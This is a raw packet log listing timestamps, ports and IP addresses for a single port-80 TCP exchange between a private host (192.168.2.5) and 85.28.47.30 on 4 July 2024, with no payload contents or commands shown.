Jul 4, 2024 22:20:32.605381966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605392933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605393887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605393887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605432034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605432034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605432034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605446100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605456114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605468035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605479002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605480909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605490923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605501890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605503082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605521917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605534077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605542898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605542898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605545044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605551004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605557919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605568886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605580091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605602026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605602026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605617046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606242895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606254101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606262922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606273890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606287956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606292009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606303930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606312037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606316090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606327057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606328011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606338978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606348991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606353045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606359959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606370926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606374979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606381893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606389046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606394053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606405020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606408119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606416941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606429100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606431007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606441975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606453896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606455088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606467009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606467962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606479883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606492043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606492996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606503963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.606524944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606533051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.606554031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688108921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688167095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688177109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688188076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688210964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688220978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688222885 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688278913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688302040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688340902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688431025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688441992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688452005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688474894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688502073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688565016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688610077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688620090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688631058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688640118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688667059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688688993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.688951969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688962936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688971996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688982010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.688997984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.689019918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692240000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692286968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692287922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692298889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692321062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692332983 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692393064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692404985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692414045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692425966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692433119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692465067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692523003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692568064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692599058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692609072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692617893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692627907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692646980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692676067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692769051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692780018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692790031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692797899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692816019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692831039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692903996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692919016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692929029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692945957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692946911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692959070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.692960024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692971945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692982912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.692985058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693008900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693032980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693213940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693223953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693233013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693257093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693259954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693268061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693278074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693279982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693294048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693305969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693330050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693648100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693659067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693667889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693676949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693686962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693696976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693700075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693708897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693718910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693722010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693733931 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693734884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.693758965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.693780899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694107056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694118023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694128036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694139004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694149971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694150925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694181919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694204092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694216967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694228888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694240093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694250107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694252968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694261074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694262028 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694272995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694284916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694289923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694308996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694328070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694353104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694372892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694384098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694395065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694406033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694417000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694417000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694428921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694439888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694442034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694452047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694453955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694466114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694478035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.694478989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694504976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.694514990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695450068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695461988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695472002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695498943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695514917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695530891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695542097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695552111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695561886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695569038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695591927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695739985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695749044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695759058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695769072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695780039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695780039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695791006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695791960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695801973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695811987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695815086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695822954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.695842028 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.695858002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696033001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696043968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696053982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696063995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696074009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696075916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696085930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696095943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696096897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696110010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696113110 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696127892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696135044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696141958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696154118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696156979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696163893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696176052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696180105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696187973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696203947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696203947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696213961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696216106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696228981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696239948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.696244955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696265936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.696284056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.782207012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782217026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782222033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782231092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782242060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782253981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782263994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782269001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.782274961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782304049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.782315969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.782913923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782924891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782934904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.782960892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.782982111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.783083916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.783094883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.783104897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.783135891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.783154011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.783174038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.783330917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.785916090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.785927057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.785942078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.785969019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.785984039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.785991907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.785996914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786020041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786030054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786046028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786083937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786109924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786119938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786156893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786180019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786191940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786200047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786211014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786227942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786251068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786319017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786329985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786339998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786365986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786386967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786479950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786489964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786499023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786508083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786518097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786526918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786528111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786540985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786550999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786552906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786562920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786590099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786772966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786782026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786789894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786801100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786813974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786818027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786827087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786830902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786843061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.786854982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.786881924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787055969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787065983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787080050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787090063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787100077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787101984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787110090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787111998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787125111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787134886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787162066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787348032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787358046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787368059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787379026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787384987 CEST	49704	80	192.168.2.5	85.28.47.30
